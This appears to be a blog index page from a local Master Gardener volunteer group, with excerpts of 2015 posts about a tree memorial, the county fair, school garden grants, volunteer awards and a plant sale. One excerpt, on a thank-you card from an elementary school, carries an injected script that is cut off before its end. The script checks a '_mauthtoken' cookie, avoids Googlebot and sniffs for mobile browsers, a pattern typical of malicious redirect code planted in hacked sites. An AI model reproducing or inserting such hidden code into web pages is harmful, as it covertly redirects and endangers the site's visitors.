John Austin tree memorial

John was a member of the 2015 Master Gardener training class.  He was looking forward to volunteering and becoming a MG, but his life was cut short this summer.  We honor his memory by this pagoda dogwood at place he…

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Master Gardeners in the news

Our very own PMG president, Bernice Thieblot, has been making horticulture headlines recently.  Bernice and her husband, Armand, are in the process of creating a 40-acre botanical garden centered around two soapstone quarries.  The project has been in the works…

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Fun at the county fair

We just wrapped up another fun year at 2015 Albemarle County Fair.  Volunteers were on hand to answer gardening questions and organize fun activities.  Several Master Gardeners also won ribbons for prize melons, vegetables, and flowers.  Photo credit:  Ellie Thomas…

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Monticello High School’s garden

We received a fantastic update about another grant recipient working with a new garden initiative over at Monticello High School. Frances Racette, a Science and Social Studies Teacher with Albemarle County Public Schools wrote: At Monticello, both AP Environmental Science…

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Grants Feedback

We are excited to hear back from more of our Grants recipients.  The time and energy they put into each of their own horticulture projects makes us proud to support and be part of their efforts. The most recent came…

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Milestone awards

We appreciate the dedication of time and energy all of our volunteers give to the Master Gardener program.  Every year we honor those who have reached milestones of 250, 500, 1000, 3000, and 4,000 volunteer service hours.  Congratulations to the…

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Happy surprise in the mail

  • June 15, 2015
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We were delighted to get this thank you card in the mail last week from Greer Elementary. Greer Elementary was one of the recipients of the 2015 Educational Horticulture Grants.  if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-|…

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Plant Sale Success!

  • May 15, 2015
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The day was beautiful, plants were green, everyone had a good time.  The 2015 Spring Plant Sale was a huge success with more than 350 people attending and 429 sales.  Thank you to the volunteers who put in time digging,…

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Horticulture Help Desk at the markets

  • May 9, 2015
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May marks the time that our remote Horticulture Help Desk is in full swing at three of the local markets.  Master Gardeners are available to answer your gardening questions.  Anything from growing vegetables, Japanese beetles on roses, maintaining a beautiful…

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